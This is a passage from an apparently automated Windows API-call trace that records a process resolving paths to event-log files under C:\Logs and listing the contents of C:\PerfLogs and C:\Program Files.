lpBuffer="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SmbClient%4Security.evtx") returned 0x32 [0117.673] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SMBServer%4Audit.evtx") returned 0x2f [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 0x36 [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SMBServer%4Operational.evtx") returned 0x35 [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-SMBServer%4Security.evtx") returned 0x32 [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Store%4Operational.evtx") returned 0x31 [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 0x39 [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 0x4a [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 0x50 [0117.674] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 0x4e [0117.675] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 0x54 [0117.675] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-TWinUI%4Operational.evtx") returned 0x32 [0117.675] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 0x40 [0117.675] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 0x34 [0117.675] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 0x35 [0117.675] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 0x41 [0117.675] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 0x32 [0117.676] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 0x3c [0117.676] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 0x34 [0117.676] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 0x5a [0117.676] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 0x50 [0117.676] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 0x41 [0117.676] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-Winlogon%4Operational.evtx") returned 0x34 [0117.676] GetFullPathNameA (in: lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", lpFilePart=0x9bada4*="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 0x38 [0117.677] GetFullPathNameA (in: lpFileName="C:\\Logs\\Security.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Security.evtx", lpFilePart=0x9bada4*="Security.evtx") returned 0x15 [0117.677] GetFullPathNameA (in: lpFileName="C:\\Logs\\Setup.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Setup.evtx", lpFilePart=0x9bada4*="Setup.evtx") returned 0x12 [0117.677] GetFullPathNameA (in: lpFileName="C:\\Logs\\System.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\System.evtx", lpFilePart=0x9bada4*="System.evtx") returned 0x13 [0117.677] GetFullPathNameA (in: lpFileName="C:\\Logs\\Windows PowerShell.evtx", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Logs\\Windows PowerShell.evtx", lpFilePart=0x9bada4*="Windows PowerShell.evtx") returned 0x1f [0117.677] FindFirstFileA (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0117.677] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.678] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0117.678] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0117.678] FindFirstFileA (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd129c6ad, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xd129c6ad, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7510 [0117.678] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd129c6ad, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xd129c6ad, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.678] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd236209, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd236209, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0117.678] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Java", cAlternateFileName="")) returned 1 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0117.679] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33ea728 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82e68d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82e68d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xcd0dec78, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd0dec78, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709c717f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x709c717f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x709c717f, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709ed3a7, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xce5951e0, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xce5951e0, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0117.679] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea728, Size=0x40) returned 0x3887650 [0117.679] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa73e1bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8390c831, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="rempl", cAlternateFileName="")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0dec78, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd0dec78, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xcd19d606, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd19d606, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8f11cc1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x711dc3b4, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xcd25c285, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd25c285, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9123675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0117.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887650, Size=0x64) returned 0x2a19b98 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd0dec78, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd0dec78, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0117.680] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0117.681] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ac52c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a51df28, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0117.681] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd19d606, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd19d606, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0117.681] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd0b8816, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd0b8816, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0117.681] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0117.681] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, 